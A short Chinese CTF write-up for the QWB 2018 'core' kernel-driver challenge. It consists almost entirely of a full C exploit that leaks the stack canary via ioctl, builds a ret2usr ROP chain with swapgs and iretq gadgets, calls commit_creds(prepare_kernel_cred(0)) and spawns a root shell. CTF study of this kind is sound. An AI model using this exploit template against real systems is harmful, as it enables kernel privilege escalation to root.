题目

题目是强网杯2018的core,典型的驱动漏洞,题目可以在网上找到,这里采用了ret2usr的解法

附上exp,应该还是很好懂的,代码里也都写了注释

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000,vmlinux_base = 0,vmlinux_offset = 0; // real vmlinux_base need to be calculated since kaslr is on
size_t user_cs, user_ss, user_rflags, user_sp;

// save the current status,prepare 2 ret2usr
void
save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}

void
lpe()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}

void
spawn_root_shell()
{
system("/bin/sh");
}

void
find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return;

if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
vmlinux_base = commit_creds - 0x9c8e0; // commit_creds = 0xffffffff8109c8e0
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
}
}

if(!prepare_kernel_cred & !commit_creds)
{
puts("[*]Error!");
exit(0);
}
}

void
main(void) {
// find commit_creds && prepare_kernel_cred and get the offset of vmlinux
find_symbols();
vmlinux_offset = vmlinux_base-raw_vmlinux_base;
// save register status under ring3
save_status();
// set global var off, prepare to leak canary
int fd = open("/proc/core",O_RDWR);
ioctl(fd, 0x6677889C, 0x40);
// leak canary
size_t user_buf[8];
ioctl(fd,0x6677889B,user_buf);
size_t canary = user_buf[0];
// construct rop chain
size_t rop[19] = {0};
rop[8] = canary;
rop[9] = 0;
rop[10] = (size_t)lpe;
rop[11] = 0xffffffff81a012da + vmlinux_offset; // swapgs; popfq; ret
rop[12] = 0; // for popfq
rop[13] = 0xffffffff81050ac2 + vmlinux_offset; // iretq; ret;
rop[14] = (size_t)spawn_root_shell; // restore rip
rop[15] = user_cs;
rop[16] = user_rflags;
rop[17] = user_sp;
rop[18] = user_ss;
// copy rop chain to global var
write(fd,rop,152);
// copy rop to stack,lead to stack overflow
ioctl(fd,0x6677889A,0xffffffffffff0098); // give core_copy_func a negative int,bypass check
// after ioctl ret2usr,root shell will be spawned!
}

简单聊聊

这里使用ret2usr会比较简单,当然直接在内核栈上构造rop来调用commit_creds&& prepare_kernel_cred也是可以的,只不过比较复杂,在没开启smap/smep的情况下就偷个懒了hh